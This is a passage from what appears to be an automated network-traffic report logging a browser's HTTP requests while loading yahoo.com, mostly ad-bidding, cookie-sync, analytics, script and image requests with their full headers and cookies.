dySize%22%3A11576%2C%22responseStatus%22%3A0%2C%22serverTiming%22%3A%5B%5D%7D&lvl=3&crid=&pvid=&dfpDiv=&liid=&dfpBd=&acid=&rctr=&sz=&t_cntdwn=&t_ciel=&ebuid=&lper=1&requrl=https%3A%2F%2Fwww.yahoo.com%2F&kwrf= HTTP/1.1Host: lg1.hb.yahoo.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10
Source: global traffic	HTTP traffic detected: GET /log?logid=kfk&evtid=belog&itype=YHB&tElp=796&adt=desktop&cid=8YHBJ3BJ0&ct=WASHINGTON&cc=US&ugd=4&app=0&pht=907&pid=8PR6KY355&dn=yahoo.com&servname=ssp-serving-yin-788cfd57b6-7p4h8&svr=264_91_101_ssp&sc=DC&version=4&vh=907&vw=1280&vsid=&vid=00001704929231786017221018029886&sspAbBucket=CONTROL&lw=1&dapp=green&nob=&bx_dc=sc&itypeid=84&sd=-1&adbd=0&npa=0&gdpr=0&csstr=&tcf_cmp=14&tcf_status=loaded&tcf_prp=0000--0&suc=0&tcf_api=1&tcf_gdpr=0&usp_enf=1&usp_status=0&usp_ldf=&usp_string=1YNN&ufca=13&coppa_status=&coppa_applied=&id_details=&gpp_present=1&gpp_dec_sid%3C%3E=&gpp_sid%3C%3E=-1&uspca_status=-----------&uspco_status=-----------&uspct_status=-----------&uspnat_status=-----------&usput_status=-----------&uspva_status=-----------&abte=SSP_CLIENT&rtype=&lbr=1&mnkv=&pabte=&pc=&ccat=&floc_id=&floc_ver=&gfundl=&gtd=400&inid=&ngfundl=1400&rdl=1400&r_tim%3C%3E=3821649&pubdpa=2&name=DFST&stack=NONE&lvl=3&crid=&pvid=&dfpDiv=&liid=&dfpBd=&acid=&rctr=&sz=&t_cntdwn=&t_ciel=&ebuid=&lper=1&requrl=https%3A%2F%2Fwww.yahoo.com%2F&kwrf= HTTP/1.1Host: lg1.hb.yahoo.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&type=mn&ovsid=3479308330180239000V10&axid_e= HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/7k_5EgstRC3hBqjwh10Fsw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/salon_articles_879/0835551b5ac06413bd0f5c694c81d5ce.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag/opus-frame.html?referrer=https%3A%2F%2Fwww.yahoo.com%2F&tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51&gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&axids=gam%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A%26dv360%3DeS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B%26ydsp%3Dy-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN&reset_idsync=1 HTTP/1.1Host: opus.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; IDSYNC="19cw~2g3z:19e0~2g3z:19e7~2g3z"; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
Source: global traffic	HTTP traffic detected: GET /aaq/vzm/cs_1.5.1.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ss/nes/hbc?callback=window.advBidxc.cobrandConfig&cobrand=none HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10
Source: global traffic	HTTP traffic detected: GET /aaq/f10d509c/d1ccw66oyq8ex2.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/yahoo_weather_web/accuweather-horizontal.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/topics/topics_frame.html HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/js/react-wafer-scores.custom.modern.703a7cd6e9af37cfbca340f3be613253.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ybar/exp.json HTTP/1.1Host: edge-mcdn.secure.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/7qp2RE6CtwF.Mj3QKEaNog--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/good_housekeeping_561/a34205bd93de17f457530161dac24aea.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/J7SrLbVORhOwvVMDOguVjQ--~B/Zmk9c3RyaW07aD0xNDI7cT05NTt3PTI2ODthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/popular_mechanics_642/0973f80037db8e5fa7ca77dcb63b6750.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /service-worker.js HTTP/1.1Host: www.yahoo.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://www.yahoo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-tabs-1.12.6-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sg/prebidJS/1/cm?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=%5Bobject%20Object%5D HTTP/1.1Host: trc.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; t_pt_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
Source: global traffic	HTTP traffic detected: GET /checksync.php?vsSync=1&cs=8&cv=31&https=1&cid=8CUQ66JUO&prvid=2034%2C2033%2C2031%2C2030%2C550%2C233%2C2028%2C2027%2C236%2C313%2C237%2C117%2C319%2C97%2C55%2C99%2C3012%2C3010%2C244%2C201%2C2039%2C3007%2C246%2C126%2C203%2C2012%2C2055%2C172%2C3020%2C251%2C175%2C450%2C2009%2C178%2C3018%2C3017%2C214%2C70%2C77%2C20000%2C38%2C2023%2C2022%2C141%2C460%2C462%2C222%2C80%2C108&itype=PREBID&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308330180239000V10
Source: global traffic	HTTP traffic detected: GET /manifest_desktop_us.json HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: manifestReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rtb/prebid?cid=8CUQ66JUO HTTP/1.1Host: prebid.media.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308330180239000V10
Source: global traffic	HTTP traffic detected: GET /ups/58746/sync?ui=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51&redir=true&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC=19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-autocomplete-1.31.8-modern-a4f31e10ae.chunk.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/LVduRNN5Htm6KVA5NeoIkA--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/salon_articles_879/f2b7229ea8bfdeacca21ad0593673f85.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /checksync.php?vsSync=1&cs=8&cv=31&https=1&cid=8YHBJ3BJ0&prvid=25268%2C25224%2C25025%2C25146%2C25223%2C25300%2C25028%2C25027%2C25302%2C25269%2C25225%2C25304%2C25306%2C25141%2C25140%2C25220%2C25022%2C25021%2C25024%2C25145%2C25221%2C25060%2C25158%2C25235%2C25036%2C25278%2C25237%2C25159%2C25038%2C25118%2C25239%2C25117%2C25270%2C25072%2C25031%2C25030%2C25198%2C25274%2C25276%2C25071%2C25202%2C25003%2C25006%2C25204%2C25007%2C25208%2C25009%2C25282%2C25240%2C25284%2C25042%2C25088%2C25286%2C25241%2C25087%2C25043%2C25002%2C25288%2C25001%2C25243%2C25280%2C25059%2C25136%2C25135%2C25017%2C25137%2C25217%2C25019%2C25018%2C25219%2C25218%2C25292%2C25053%2C25097%2C25250%2C25052%2C25096%2C25294%2C25296%2C25134%2C25298%2C25091%2C25090%2C25290&itype=YHB&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1
Source: global traffic	HTTP traffic detected: GET /cx/pv/perf-vitals_3.2.0.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pv/static/misc/voice-start-202105050733.wav HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept-Encoding: identity;q=1, ;q=0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: audioReferer: https://www.yahoo.com/Accept-Language: en-US,en;q=0.9Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /ups/58739/cms?partner_id=BLKAI&orig=ono HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC=19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z
Source: global traffic	HTTP traffic detected: GET /pv/static/img/voiceSearch1x-1620383531565.min.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
